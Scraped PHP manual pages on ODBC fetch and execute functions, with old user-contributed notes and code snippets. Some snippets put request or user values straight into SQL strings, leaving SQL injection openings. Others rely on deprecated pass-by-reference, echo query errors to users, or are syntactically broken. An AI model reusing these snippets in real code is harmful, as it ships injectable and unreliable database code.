Currently, Access 2000 DOES support parametrized queries via ODBC. It still seems to have a problem with Memo and OLE fields, but "normal" types work just fine.
tcmleung at yahoo dot com 09-Nov-2001 01:22
odbc has a maximum buffer size, that means it only stores and retrieves a limited size of data to/from database each time. The maximum buffer size is 4096 and set in php.ini (odbc.defaultlrl). You can set it to higher value for larger data access.
sjericson at mindspring dot com 25-Aug-2001 10:43
I don't think odbc_prepare and odbc_execute support output parameters for stored procedures on MSSQL.  An example of output parameters for MSSQL is at  http://support.microsoft.com/support/kb/articles/q174/2/23.asp

Also, my MSSQL driver seems happy only when I use the following incantation:

...code removed...
$stmt=odbc_prepare($conn_id, "exec my_proc_name ?,?,?");
$parms=array("fred","password",5);
if (!odbc_execute($stmt, &$parms)) die("odbc_execute failed");
reaganpr at hotmail dot com 23-Jul-2001 04:50
When running the CGI version of 4.0.6 under windows, I came across this error when trying to call a stored procedure in SQL Server using odbc_execute w/ the parameter array set:

FATAL:  emalloc():  Unable to allocate 268675669 bytes

Scary error, huh? In my case it just meant that SQL Server couldn't find the stored procedure.  Totally my fault, but a rather nondescript error message.

p.
cpoirier at shelluser dot net 04-Mar-2001 02:30
A quick note in hopes that my pain will save someone else:  Microsoft Access ODBC drivers do not support parameterized queries.
edrenth at thematec dot nl 17-Oct-2000 06:17
When used with parameters and the statement fails, you cannot use different arguments anymore, the same arguments as with the failed statement will be used.
tony dot wood at revolutionltd dot com 27-May-1999 04:08
For a simple database insert to a database that has no password and $from and $to are predefined variables.

<?php
/* get connection */
$conn=odbc_connect("mydb","","");

/* run insert */
$stmt = odbc_prepare($conn, "INSERT INTO mytable (jor_from, jor_to) VALUES('$from', '$to');" );

/* check for errors */
if (!odbc_execute($stmt)) {
    /* error  */
    echo "Whoops";
}

/* close connection */
odbc_close($conn);
?>
wntrmute at tampabay dot rr dot com 15-Aug-1998 09:22
Solid Issue:
Solid defines CHAR, VARCHAR, LONG VARCHAR, BINARY, VARBINARY, and LONG VARBINARY to be a maximum of 2G in length.  However, when creating your tables for use with PHP one should choose LONG VARCHAR or LONG VARBINARY for these kinds of fields if you are planning on storing really large or lengthy data.  IE: Data exceeding 64k in length such as GIF/JPG, or really huge text areas.
odbc_exec
odbc_fetch_array
ODBC Functions


Fetch a result row as an associative array

odbc_execute
odbc_fetch_into
ODBC Functions
PHP Manual

odbc_fetch_array

(PHP 4 >= 4.0.2, PHP 5)

odbc_fetch_array — Fetch a result row as an associative array

Description

array odbc_fetch_array ( resource $result [, int $rownumber ] )

Fetch an associative array from an ODBC query. See the changelog below for when this function is available.

Parameters

result

The result resource from odbc_exec().

rownumber

Optionally choose which row number to retrieve.

Return Values

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows.

Changelog

Version | Description
4.3.3 | This function exists when compiled with IBM DB2 or UnixODBC support.
4.3.2 | This function exists when compiled for Windows.
4.0.2 | This function exists when compiled with DBMaker support.

See Also

  • odbc_fetch_row() - Fetch a row
  • odbc_fetch_object() - Fetch a result row as an object
  • odbc_num_rows() - Number of rows in a result

User Contributed Notes

Vadim Istratov 10-Nov-2010 04:21
Be careful while using this function with MSSQL for fetching results of SQL queries like following: "SELECT * FROM table". In this case array will NOT contain named indexes!

I.e.:
Table:
------------------------
| col1 | col2 | col3  |
------------------------
|   1   |   2   |   3   |
------------------------
|   4   |   5   |   6   |
------------------------

Code:
---------------------
<?php
$query = "SELECT * FROM table";
$res = odbc_exec($query);

while( $row = odbc_fetch_array($res) ) {
    print_r($row);
}
?>
---------------------

Output will be:
---------------------
Array(
 [0] => 1,
 [1] => 2,
 [2] => 3
)
Array(
 [0] => 4,
 [1] => 5,
 [2] => 6
)
---------------------

No field names here!
armando dot ortiz at cppcorp dot com 20-Jan-2010 04:20
In trying to execute queries and looping through the results like so...

<?php
while( odbc_fetch_row( $myResultID ) )
{
  $myRow = odbc_fetch_array( $myResultID );
  $thisResult[ $myRow[ "column" ] ] = $myRow;
}
?>

...I found that not only was my first row being skipped, but also every OTHER row was being skipped, thus a known result set containing 14 rows would dwindle down to 7.

My solution is as follows as I needed to return an array of rows:

<?php
while( $myRow = odbc_fetch_array( $myResultID ) )
{
  $thisResult[ $myRow[ "column" ] ] = $myRow;
}
?>
James Auxier 27-Mar-2009 10:30
Some interesting behavior was discovered while attempting simultaneous queries to a MS SQL server through the ODBC/freeTDS layer on SUSE on a persistent connection with ODBC cursors enabled. Stepping through the first resource with odbc_fetch_array() in a while loop works as expected, but calls to subsequently created resources within that loop were failing to return data where MySQL equivalents to the script were working just fine.

I found that adding a num_rows function call [custom function that simply steps through the result set... the misbehavior of odbc_num_rows() is another matter] immediately following each odbc_exec() then resetting the cursor seemed to cache the results for proper performance of the multiple active result sets.  It may be slightly slower than the MySQL equivalent, but at least it works.
michael dot buergi at zhdk dot ch 08-May-2008 02:30
I use an odbc connection to a mssql2000 db. As long as I had set ansi_warnings on, I occasionnally got the last record twice when retrieving them with odbc_fetch_array or odbc_fetch_row and odbc_result.
bryant at zionprogramming dot com 20-Mar-2008 03:04
I found the function submitted by jezndiatyahoodotcodotuk to be very helpful.  I'm using PHP 5.2.5 and this function isn't defined, so it may depend on the ODBC driver being used.

The only problem with the solution already posted is that the return values don't match the ones specified by the documentation.  I made the following modification so that the function will work the same whether it exists internally or not:

<?php
if (!function_exists('odbc_fetch_array')) {
    function odbc_fetch_array($result, $rownumber=null) {
        $array = array();
        if (!($cols = odbc_fetch_into($result, $result_array, $rownumber))) {
            return false;
        }
        for ($i = 1; $i <= $cols; $i++) {
            $array[odbc_field_name($result, $i)] = $result_array[$i - 1];
        }
        return $array;
    }
}

?>
luke at croslow dot com 23-Jul-2007 10:18
On IBM DB2 for iSeries I have to specify a specific row number to retrieve. If I don't specify the row number, the behavior is erratic.

This seems to work:

<?php
for($i=1;$row=odbc_fetch_row($result,$i);$i++) {
  //use $row
}
?>

The row count MUST start at 1 or else the behavior seems undefined; i.e., when I start from 0 some rows might be returned two or more times or not at all.
robincw at gnospammail dot com 09-Jan-2007 04:46
I am using MS SQL Server 2005, and using odbc_connect with SQL_CUR_USE_ODBC.

I had a problem with odbc_fetch_array when getting results from a stored procedure that returns a text column. The misleading error I got was:

odbc_fetch_array() [function.odbc-fetch-array]: SQL error: [Microsoft][ODBC Cursor Library] Result set was not generated by a SELECT statement, SQL state SL004 in SQLGetData

Eventually I found that by converting the text column in my database to varchar(8000), it worked fine. Perhaps using CONVERT or CAST might have worked too. I also found that varchar(max) columns were scrambled.
tim at tmcode dot com 15-Sep-2005 08:07
Depending on the odbc driver/operating system you are using,  odbc_fetch_array might not be defined. (ie if you used --with-custom-odbc you may be out of luck).   The following can be safely added to define the odbc_fetch_array function if doesn't exist already.  Unlike some of the other examples contributed here, this one will create the numeric keys and the text keys.   This function is definitely not very optimal because it has to check the number of fields and field names each time a row is pulled.  Often you will be looping through a result set and there is no need to pull this information each time.  It could probably be improved by caching the result of these functions but I'll leave that as an exercise for someone else... :)

if(!function_exists("odbc_fetch_array"))
{

    function odbc_fetch_array($res)
    {
        // make sure to pass back the false if we are out of rows
        if(!odbc_fetch_row($res)) return false;

        $row=array();

        // populate the row array
        $numfields=odbc_num_fields($res);
        for($i=1; $i<=$numfields; $i++)
        {
            //odbc starts its indice at 1 but since I am
            // trying to emulate the functionality of *_fetch_array
            // for other dbs (ie mysql)  I'm going to decrement my
            // my numeric indice by 1.  This might not be what
            // you are after in which case get rid of the -1
            $row[odbc_field_name($res,$i)]=$row[$i-1]=odbc_result($res,$i);

        }
        return $row;
    }

}
javiles dot lazcano at gmail dot com 15-Sep-2005 07:24
Hi. And using the same example to connect to a SYBASE ASE 12.0 Server with ODBC and Stored procedures, we have the following code:

<?PHP
function sybase_rs($SP){
  include("INCLUDE/sdd.odbc.conect.php");
  $ARRAY    = array();
  $RS        = odbc_exec($conexion,$SP);
  $CONT        = 1;
  while (odbc_fetch_row($RS))
         {
         for ($y = 1; $y <= odbc_num_fields($RS); $y++)
              echo odbc_result($RS,$y);
              $CONT++;
            }
    if ($CONT > 1)

}

$r = sybase_rs("{CALL dbo.sdd_determina_usuario ('". $_REQUEST['usuario']."','". $_REQUEST['clave']."')}");
echo $r;
?>
Remy 12-Apr-2005 05:35
I use this function to get my recordset in an array, and it's very easy to use.

function dbquery($sql) {
  $arr    = array();
  $conn = odbc_connect('dsn','user','pass');
  $rs     = odbc_exec($conn,$sql);
  $x      = 1;
  while (odbc_fetch_row($rs)) {
    for ($y = 1; $y <= odbc_num_fields($rs); $y++)
      $arr[$x][$y] = odbc_result($rs,$y);
    $x++;
  }
  if ($x > 1)
    return $arr;
}

usage:

$arr=dbquery("SELECT * FROM tblTable");
echo $arr[1][1] //echo's first column of the first row
philip 21-Mar-2005 08:03
This function requires one of the following to exist: Windows, DB2, or UNIXODBC.
miles at e-clipseconsulting dot com 15-Dec-2004 01:47
In response to Sena's post, odbc_num_rows does not always return a row count.  When executing a query on MS Access it seems to return a row count of -1.

<?php

while(odbc_num_rows($myodbcexec)){
       $myarray[] = odbc_fetch_array($myodbcexec);
}

?>

Just something to watch out for when attempting to execute this code.

Miles Phillips
e-Clipse Consulting
russ at russprince dot com 11-Nov-2004 06:57
I really liked Ryan's example so I took it another step and added a recordset class to work with the connection class.  I made slight alterations to the original code as well.  Also note the recordset class takes advantage of php5's __get property function...

<%
class odbcRecordset {
   var $recordcount;
   var $currentrow;
   var $eof;

   var $recorddata;
   var $query;

   function odbcConnection(){
      $this->recordcount = 0;
      $this->recorddata = 0;
   }

   function SetData( $newdata, $num_records, $query ) {
      $this->recorddata = $newdata;
      $this->recordcount = $num_records;
      $this->query = $query;
      $this->currentrow = 0;
      $this->set_eof();
   }

   function set_eof() {
      $this->eof = $this->currentrow >= $this->recordcount;
   }

   function movenext()  { if ($this->currentrow < $this->recordcount) { $this->currentrow++; $this->set_eof(); } }
   function moveprev()  { if ($this->currentrow > 0)                  { $this->currentrow--; $this->set_eof(); } }
   function movefirst() { $this->currentrow = 0; set_eof();                                               }
   function movelast()  { $this->currentrow = $this->recordcount - 1;  set_eof();                         }

   function data($field_name) {
      if (isset($this->recorddata[$this->currentrow][$field_name])) {
         $thisVal = $this->recorddata[$this->currentrow][$field_name];
      } else if ($this->eof) {
         die("<B>Error!</B> eof of recordset was reached");
      } else {
         die("<B>Error!</B> Field <B>" . $field_name . "</B> was not found in the current recordset from query:<br><br>$this->query");
      }

      return $thisVal;
   }

   function __get($field_name) {
      return $this->data($field_name);
   }
}

class odbcConnection {
   var $user;  //Username for the database
   var $pass; //Password

   var $conn_handle; //Connection handle
   var $temp_fieldnames; //Tempory array used to store the fieldnames, makes parsing returned data easier.

   function odbcConnection(){
      $this->user = "";
      $this->pass = "";
   }

   function open($dsn,$user,$pass){
      $handle = @odbc_connect($dsn,$user,$pass,SQL_CUR_USE_ODBC) or
         die("<B>Error!</B> Couldn't Connect To Database. Error Code:  ".odbc_error());
      $this->conn_handle = $handle;
      return true;
   }

   function &execute($query){
      //Create a temp recordset
      $newRS = new odbcRecordset;
      $thisData = "";

      $res = @odbc_exec($this->conn_handle,$query) or
         die("<B>Error!</B> Couldn't Run Query:<br><br>" . $query . "<br><br>Error Code:  ".odbc_error());
      unset($this->temp_fieldnames);

      $i = 0;
      $j = 0;
      $num_rows = 0;

      // only populate select queries
      if (stripos($query, 'select ') !== false) {
         while(odbc_fetch_row($res)) {
            $num_rows++;

            //Build tempory
            for ($j = 1; $j <= odbc_num_fields($res); $j++) {
               $field_name = odbc_field_name($res, $j);
               $this->temp_fieldnames[$j] = $field_name;
               $ar[$field_name] = odbc_result($res, $field_name) . "";
            }

            $thisData[$i] = $ar;
            $i++;
         }
      }

      //populate the recordset and return it
      $newRS->SetData( $thisData, $num_rows, $query );
      return $newRS;
   }
}
%>

usage is pretty simple:

<%
  $con = new odbcConnection
  $con->open("dsn","user","pass")

  $sql = "select bar from foo";
  $rs = $con->execute($sql);

  if (!$rs->eof) {
    print $rs->data("bar");
      // or //
    print $rs->bar;
  }

  while (!$rs->eof) {
    // blah blah code
    $rs->movenext();
  }
%>

Works pretty well, but I haven't thoughly tested it yet.
Code can be dl'd here:

http://www.russprince.com/odbc_functions.zip

Cheers,
Russ
Ryan (rystar_x2000 at hotmail dot com) 09-Apr-2004 06:39
Heya,

After much fiddling around with the odbc_num_rows() function, and trying to get odbc_fetch_array() to play nice with it, I decided to write this little function which will return a 2-dimensional array, in the format [rownumber][field].

The 'rownumber' array index is obviously the number of the row stored in the array.
The 'field' index is keyed to the field name on that row.

--Function--
<?

function fetch2DArray($res){
    $i = 0;
    $j = 0;
    $toReturn = "";

    while(odbc_fetch_row($res))
    {
        for ($j = 1; $j <= odbc_num_fields($res); $j++)
        {
             $field_name = odbc_field_name($res, $j);
             $ar[$field_name] = odbc_result($res, $field_name);
        }

        $toReturn[$i] = $ar;
        $i++;
    }
    return $toReturn;
}
?>

I then took this one stage further.. and wrote a whole class to deal with the odbc connection... it's a bit slap-happy, but it does work well enough.

-- Class --
<?
class odbcConnection{
   var $user;  //Username for the database
   var $pass; //Password
   var $conn_handle; //Connection handle
   var $temp_fieldnames; //Tempory array used to store the fieldnames, makes parsing returned data easier.

   function odbcConnection(){
       $this->user = "";
       $this->pass = "";
   }

       function connectDatabase($dsn_link,$user,$pass){
        $handle = @odbc_connect($dsn_link,$user,$pass,SQL_CUR_USE_DRIVER) or die("<B>Error!</B> Couldn't Connect To Database. Error Code:  ".odbc_error());
        $this->conn_handle = $handle;
        return true;
    }

    function runStoredQuery($query, $returns_results){

    if($returns_results == false){
            return false;
        }

    $toReturn = "";
        $res = @odbc_exec($this->conn_handle, "exec ".$query."") or die("<B>Error!</B> Couldn't Run Stored Query. Error Code:  ".odbc_error());
        unset($this->temp_fieldnames);
            $i = 0;
            $j = 0;

            while(odbc_fetch_row($res))
            {
                  //Build tempory
                for ($j = 1; $j <= odbc_num_fields($res); $j++)
                   {
                     $field_name = odbc_field_name($res, $j);
                     $this->temp_fieldnames[$j] = $field_name;
                      $this->temp_fieldnames[$j];
                     $ar[$field_name] = odbc_result($res, $field_name);
                   }

                $toReturn[$i] = $ar;
                $i++;
             }

     return $toReturn;
    }

    function runSQL($query,$returns_results){
    $toReturn = "";

        $res = @odbc_exec($this->conn_handle,$query) or die("<B>Error!</B> Couldn't Run Query. Error Code:  ".odbc_error());
           unset($this->temp_fieldnames);
        if($returns_results == false){
            return false;
        }

            $i = 0;
            $j = 0;

            while(odbc_fetch_row($res))
            {
                //Build tempory
                for ($j = 1; $j <= odbc_num_fields($res); $j++)
                   {
                     $field_name = odbc_field_name($res, $j);
                     $this->temp_fieldnames[$j] = $field_name;
                     $ar[$field_name] = odbc_result($res, $field_name);
                   }

                $toReturn[$i] = $ar;
                $i++;
             }

     return $toReturn;
    }

}

//And an example of how to use the class:

include("dbClass.inc");  //Where dbClass.inc is the name of the file holding the class

//Declare a new instance of the class
$dbConnection = new odbcConnection;

$dsn = "GroupWork";   //Your System DSN name to point to your database
$dbConnection->connectDatabase($dsn,"","");  //No username and password - read only access

echo"<BR><HR><B>Testing SQL</b><BR><BR>";
$query_result = $dbConnection->runSQL("SELECT * FROM Event WHERE Type = 'Sport' ORDER BY EDate ASC",true);

    if(!$query_result)
    {
        //No Results - Your Error Code Here
    }else{
        //Get the results
        $key = $dbConnection->temp_fieldnames;
        $rows = count($query_result);
        $keys = count($key);
        $i = 0;

        while($i < $rows){
            $j = 1;
            echo "Echoing Row $i:<BR>";

                while($j < $keys - 1){

                    //$query_result[row][field];
                    $result = $query_result[$i][$key[$j]];
                    $field = $key[$j];
                    echo("Field <b>'".$field."'</b> : ".$result." <BR>");

                    $j++;
                }
            echo "<BR>----<BR><BR>";
            $i++;
        }
    }
?>

Hope this was of some help. If anyone has any improvments to the class, please drop them by me.
powerstat at web dot de 26-Mar-2004 04:48
This function is badly implemented, because the fetch_array versions for all other databases are storing the values as associative AND numeric key.
This one only stores as associative key :(
Someone should really cleanup the complete database api design!
xhat at NOSPAM dot hotmail dot com 24-Mar-2004 10:46
This is a quick and dirty way to accomplish the same thing:

<?
while(odbc_fetch_row($result)) {
$var1 = odbc_result($result, "NAMEOFFIELD1");
$var2 = odbc_result($result, "NAMEOFFIELD2");
..... //as many vars as you have fields with data to capture

$array_of_results[] = compact('var1', 'var2','var3', etc, etc)
}
?>

Just turn each returned row's data into variables then use the compact().  Turns each variable name into a key and the vars value into the array value.  Makes a wonderful 2d array that you can walk easily and still use key values to get at data.
odbc_execute
odbc_fetch_into
ODBC Functions


Fetch one result row into array

odbc_fetch_array
odbc_fetch_object
ODBC Functions
PHP Manual

odbc_fetch_into

(PHP 4, PHP 5)

odbc_fetch_into — Fetch one result row into array

Description

int odbc_fetch_into ( resource $result_id , array &$result_array [, int $rownumber ] )

Fetch one result row into array.

Parameters

result_id

The result resource.

result_array

The result array that can be of any type since it will be converted to type array. The array will contain the column values starting at array index 0.

rownumber

The row number.

Return Values

Returns the number of columns in the result; FALSE on error.

Changelog

Version | Description
4.2.0 | The result_array and rownumber parameters have been swapped. This allows the rownumber to be a constant again.
4.0.6 | The rownumber can no longer be passed in as a constant, but rather as a variable. This again changed in 4.2.0.
4.0.5 | The result_array parameter no longer needs to be passed in by reference.

Examples

Example #1 odbc_fetch_into() examples

<?php
$rc = odbc_fetch_into($res_id, $my_array);
?>

or

<?php
$rc = odbc_fetch_into($res_id, $my_array, 2);
?>

User Contributed Notes

alvaro at demogracia dot com 05-Apr-2011 03:04
It returns FALSE if there was an error reading the row but also when there aren't more rows available.
brian m 17-Nov-2004 02:58
Here is a very simple mehod to dump SQL results into an array that can be edited and manipulated.
==============================================

//Create the array:
$row = array();
while (odbc_fetch_into($res, $row, ODBC_NUM)) {
    array_push($stuff,$row);
}

//The results are now in an array.  To display the array as an HTML table we can use the following:

foreach($stuff as $line){
    echo "<tr>\n";
    foreach($line as $field){
        echo "<td>".$field."</td>\n";
    }
}

==============================================
Using this method allows a person to control individual data elements in each row and field.  I am far more familiar with ASP and the getrows function but this is the closest equivalent that I have been able to find.

I good friend and co-worker was able to determine how to get this to work.  Thanks Robby.
php at nospamplease dot markjrubin dot com 28-Jun-2004 12:02
Regarding free at muktimedia dot com's problem.

We found a simple solution, just cast the text as ntext in your SQL statement.

SELECT cast ( field_name AS NTEXT ) AS field_name

Mark J Rubin
free at muktimedia dot com 25-Jan-2003 05:23
Problem w/ MSSQL 2000 (or 7 possibly):::::
Warning: SQL error: [Microsoft][ODBC SQL Server Driver]Invalid
Descriptor Index, SQL state S1002 in SQLGetData in ...

http://bugs.php.net/bug.php?id=18514

The above error will be seen when calling @ODBC_RESULT_ALL() on a resultset that contains a field of type 'text' (MSSQL 2K).  If you see this error in @ODBC_RESULT_ALL then surely @ODBC_FETCH_INTO() will return false when the resultset contains a field of type 'text' (MSSQL 2K) - causing headaches.

WORKAROUND : change the field type to NTEXT (SQL 2K/7) - this is preferable in many cases (except DB storage space) since NTEXT is simply Unicode Text.

I tried a workaround at http://www.phpbuilder.com/mail/php-db/2001071/0240.php but this didn't work.

It appears PHP could benefit from an update to its ODBC libraries since 'text' and 'memo' fields are often used in Win32 environments...
PHP at TeamBurke dot com dot NoSpam 15-Nov-2002 08:00
DON'T START AT ROW 0

When using odbc_fetch_into($id,$row_num,$array) don't intialize the $row_num=0.

Why... well if you do this and you have one record in the table you'll get an error... not a problem.  BUT, if you have more than one row in the table, there is no error and the first record in the table is lost.

This may seem obvious, but remember that we count many things starting from 0, so doing it here made sense in my mind.  Took quite some time to solve the problem, because I had used the same method on another page, where there were multiple row records, and that page worked fine.  I just never noticed that it failed to print the first record's information.  So you can imagine my puzzlement when the code worked on one page and not the next.
scott at abcoa dot com 02-Jul-2002 11:41
Using odbc_fetch_into() is becoming tiresome when it had to be changed in php version 4.0.5, 4.0.6 and 4.2.x.  Also, using define() function no longer work well with 4.2.x, so define() is not reliable for odbc_fetch_into().  Time on the job to keep up with the changes is ill-advised.  Turned out the better solution is to use odbc_fetch_array and not have to deal with the hassle of updating the database, web pages, etc.  It is worth the time in the long run.

--clip-- (old script)
define(CUSTOMER_ID,0);
define(CUSTOMER_NAME,1);

//$rows = 1;

if (odbc_fetch_row($result))
{
//odbc_fetch_into($result,1,&$user_detail); //php 4.0.5
//odbc_fetch_into($result,$row,$user_detail); //php 4.0.6
odbc_fetch_into($result,$user_detail,1);  //php 4.2.x
   echo $user_detail[CUSTOMER_ID];
} else {
   echo "Failed!";
}
--clip--
//#########################################
--clip-- (new script)
if (odbc_fetch_row($result))
{
   while($user_detail = odbc_fetch_array($result) ) {
      echo $user_detail[CUSTOMER_ID];
   }
} else {
   echo "Failed!";
}
--clip--

This is pretty useful when we keep adding columns to the database table.  If you combine two tables and have two columns with the same column name, then you'll need to have two seperate array, like $user_detail1 and $user_detail2, etc.  Whatever you can come up with.
danielc at analysisandsolutions dot com 22-May-2002 08:03
Here's a workaround to ensure your program works regardless
of which version of PHP you're running.

The silly eval() process is needed to prevent Warning
messages in newer versions.

<?php

$php_errormsg = '';

if ( phpversion() < '4.2.0') {
   $Code  = 'if ( !@odbc_fetch_into($Results, $Row, &$Temp)
    AND $php_errormsg != "") {';
   $Code .= '   echo $php_errormsg;';
   $Code .= '   exit();';
   $Code .= '}';
   eval($Code);
} else {
   if ( !@odbc_fetch_into($Results, $Temp)
    AND $php_errormsg != '') {
      echo $php_errormsg;
      exit();
   }
}

?>
matt(at)lazycat(dot)org 04-Sep-2001 06:36
Most annoyingly with PHP 4.0.6, the new "feature" regarding the requirement of the row number to be non-constant means that this code no longer works:

$row_num = 1; $row = array();
while (odbc_fetch_into($result, $row_num++, $row) {
  // Stuff
}

So if you were wondering why, that's why. This infuriated me above all other issues I've had with PHP when I upgraded to 4.0.6
Luckily the workaround is easy enough. Just use $row_num in the odbc_fetch_into() and add $row_num++ inside the while loop. But it's still very annoying! I haven't found any other functions where this is an issue..
doc at vulcanmicro dot com 26-Jun-2001 01:47
Going from php 4.0.5 to php 4.0.6, the following syntax nolonger works:
odbc_fetch_into($result,$start-1,&$fields);
In 4.0.5 it works, in 4.0.6 it produces this error:
Only variables can be passed by reference
The following lines DO work however:
$tmp=$start-1;
odbc_fetch_into($result,$tmp,&$fields);
scott at gamesonline dot com 01-Jul-1999 08:13
(Win32) When calling this function against an Access 97 table, if the second parameter is passed in as the row you wish to retrieve, it APPEARS you will keep getting the same row back, regardless of the value passed in.  Solution: Don't pass in the second parameter and everything autoincrements just fine.
vbhunt at silverfox dot com 28-Sep-1998 12:27
This function interacts with odbc_result in that it appears to increment the internal record pointer for the current query result.  Thus if you use this function and desire to have the record you just fetched available for use in odbc_result; you'll have to call odbc_fetch_result again with the current row number.  This behavior can be especially confusing if your query result contains a single record.  When this is the case, use of odbc_fetch_into appears to break odbc_result.
vbhunt at silverfox dot com 27-Sep-1998 11:20
Passing by reference means that you have to pass a pointer to the item (i.e. array) and not the item itself.  In this case this means prepend an ampersand onto the front of your arrayname to indicate that the arrayname is being passed by reference and not by value.  For example:
<?php
$cols = odbc_fetch_into($QueryID, $RowNum, &$YourArray);
?>
odbc_fetch_array
odbc_fetch_object
ODBC Functions


Fetch a result row as an object

odbc_fetch_into
odbc_fetch_row
ODBC Functions
PHP Manual

odbc_fetch_object

(PHP 4 >= 4.0.2, PHP 5)

odbc_fetch_object — Fetch a result row as an object

Description

object odbc_fetch_object ( resource $result [, int $rownumber ] )

Fetch an object from an ODBC query. See the changelog below for when this function is available.

Parameters

result

The result resource from odbc_exec().

rownumber

Optionally choose which row number to retrieve.

Return Values

Returns an object that corresponds to the fetched row, or FALSE if there are no more rows.

Changelog

Version | Description
4.3.3 | This function exists when compiled with IBM DB2 or UnixODBC support.
4.3.2 | This function exists when compiled for Windows.
4.0.2 | This function exists when compiled with DBMaker support.

See Also

  • odbc_fetch_row() - Fetch a row
  • odbc_fetch_array() - Fetch a result row as an associative array
  • odbc_num_rows() - Number of rows in a result

User Contributed Notes

philip 21-Mar-2005 08:04
This function requires one of the following to exist: Windows, DB2, or UNIXODBC.
thorsten at rinne dot info 15-Oct-2003 02:26
odbc_fetch_object() works nice with PHP 4.3.3 under W2K with IBM DB2 V.7.2 and V.8.1:

<?php
$conn = odbc_connect($db_name, $username, $password) or die(odbc_error_msg());
$sql = "SELECT * FROM TABLE";
$result = odbc_exec($conn, $sql);
while ($rows = odbc_fetch_object($result)) {
    print $rows->COLUMNNAME;
    }
odbc_close($conn);
?>
j dot a dot z at bluewin dot ch 30-Apr-2003 01:26
hey "general at maccrafters dot com"

thank you very much for your code. it saved me time!
however i extended it a bit!
---------------------------------------------
    function __odbc_fetch_object($res)
    {
        if( function_exists("odbc_fetch_object") )
            return odbc_fetch_object($res);

        $rs = array();
        $rs_obj = false;
        if( odbc_fetch_into($res, &$rs) )
        {
            foreach( $rs as $key=>$value )
            {
                $fkey = odbc_field_name($res, $key+1);
                $rs_obj->$fkey = trim($value);
            }
        }
        return $rs_obj;
    }
---------------------------------------------
cheers, jaz
h4 at locked dot org 11-Mar-2003 06:28
my 2 cents:

function data($res) {
    $obj = new stdClass();
    $data_array = array();

    if (!odbc_fetch_into($res, $data_array)) {
        return 0;
    }

    $num_fields = odbc_num_fields($res);

    for ($i = 0;$i < $num_fields; $i++) {
        $name = odbc_field_name($res, $i + 1);
        if (!$name) {
            return 0;
        }

        $obj->{$name} = $data_array[$i];
    }

    return $obj;
}

works fine for me (PHP 4.3.1)
charlesk at netgaintechnology dot com 23-Jan-2003 10:54
I asked one of the developers to enable this function in the CVS.  I tried it and it worked.  I didnt do anything special.  I was using a Microsoft Access ODBC driver that came with my Windows XP Pro Install.

I was using the Apache web server.

Charles
general at maccrafters dot com 05-Nov-2002 11:45
Here's a bit of code I came up with tha behaves just like mysql_fetch_object()

    function odbc_fetch_object($result)
    {
        $rs=array();
        if(odbc_fetch_into($result,&$rs))
        {
            foreach($rs as $key=>$value)
            {
    $fkey=strtoupper(odbc_field_name($result,$key+1));
                $rs_obj->$fkey = trim($value);

            }
        }
        return($rs_obj);
    }

Special thanks to previous posters for giving me a starting point for this code.
kynaston at yahoo dot com 05-Sep-2002 05:55
If you're using Masoud's code in PHP4.2+, change the fifth line to:

odbc_fetch_into($result,&$rs);

(the order of arguments have changed)
Marcus dot Karlsson at usa dot net 24-Apr-2002 10:57
It' possible to get both odbc_fetch_object() and odbc_fetch_array() to work just by removing #ifdef HAVE_DBMAKER/#endif in php_odbc.h line 216 (219) and the same in php_odbc.c line 87 (90) and 1229 (1380).

I've done this sucessfully in the PHP 4.2.0 release using ODBC towards a MySQL database.

I really can't understand why the #ifdef is there from the beginning, but they do have their reasons.

These were the files i "patched"
/* $Id: php_odbc.c,v 1.120.2.1 2002/04/08 22:21:30 sniper Exp $ */
/* $Id: php_odbc.h,v 1.45.2.1 2002/03/12 02:27:47 sniper Exp $ */
masuod_a at hotmail dot com 22-Feb-2002 12:29
This function not availible in PHP 4.1.1 , you can try this :

if (function_exists(odbc_fetch_object))
 return;
function odbc_fetch_object($result, $rownumber=1) {
 $rs=array();
 odbc_fetch_into($result, $rownumber,$rs);
 foreach ($rs as $key => $value) {
   $fkey=strtolower(odbc_field_name($result, $key+1));
   $rs_obj->$fkey = $value;
 }
 return $rs_obj;
}
if you wanna use this function in a loop  you must set rownumber parameter
you can't use this function like :
 while ($myobj=odbc_fetch_object($res)) {
 ....
}
odbc_fetch_into
odbc_fetch_row
ODBC Functions


Fetch a row

odbc_fetch_object
odbc_field_len
ODBC Functions
PHP Manual

odbc_fetch_row

(PHP 4, PHP 5)

odbc_fetch_row — Fetch a row

Description

bool odbc_fetch_row ( resource $result_id [, int $row_number ] )

Fetches a row of the data that was returned by odbc_do() or odbc_exec(). After odbc_fetch_row() is called, the fields of that row can be accessed with odbc_result().

Parameters

result_id

The result identifier.

row_number

If row_number is not specified, odbc_fetch_row() will try to fetch the next row in the result set. Calls to odbc_fetch_row() with and without row_number can be mixed.

To step through the result more than once, you can call odbc_fetch_row() with row_number 1, and then continue doing odbc_fetch_row() without row_number to review the result. If a driver doesn't support fetching rows by number, the row_number parameter is ignored.

Return Values

Returns TRUE if there was a row, FALSE otherwise.

User Contributed Notes

furiousrcj 24-Jun-2010 08:02
Here is code snippet to do dynamically build a table so you do not have to hardcode the fields that you wish to display. You could use the the odbc_result_all but this allows special handling of rows/columns. This is similar to some ASP code I use.

<?php
$Fields = odbc_num_fields($cur);
print "<table border='1' width='100%'><tr>";
// Build Column Headers
    for ($i=1; $i <= $Fields; $i++){
    printf("<th bgcolor='silver'>%s</th>", odbc_field_name( $cur,$i));
    }
// Table Body
    $Outer=0;
    while( odbc_fetch_row( $cur )){
    $Outer++;
    print "<tr>";
    for($i=1; $i <= $Fields; $i++){
        printf("<td>%s</td>", odbc_result( $cur, $i ));
        }
    print "</tr>";
    }
print "</table>";
print "<b> Your request returned $Outer rows!</b>";
odbc_close( $cnx);
?>
GiladD 12-Jun-2008 08:12
Here's my silly companion to odbc_fetch_row, odbc_fetch_column!

It takes a SQL table and the Column's name to look for, and returns an array with all the items in that column. It can be easily changes to take the column's number instead of name, but I prefer it this way.

<?php
function odbc_fetch_column($my_rs,$col_name) {
$tmpArray = array();
while (odbc_fetch_row($my_rs)) {array_push($tmpArray,odbc_result($my_rs,$col_name));}
return $tmpArray;
}
?>
ben at imperialsoftwaresystems dot com 14-Feb-2008 11:15
I traced out a problem to odbc_fetch_row hanging while trying to retrieve the 'row after the last record'.  Instead of simply returning false it would cause a timeout.  This crept up after a site I maintain recently converted from MS Access DB to MS SQL Server DB.

To work around the issue I first do 'select count(*) from blah'.  I check that value as I loop through the records, and once I reach the number of records specified by my count(*) I stop my loop.
romanziak at yahoo dot ca 22-Mar-2006 05:50
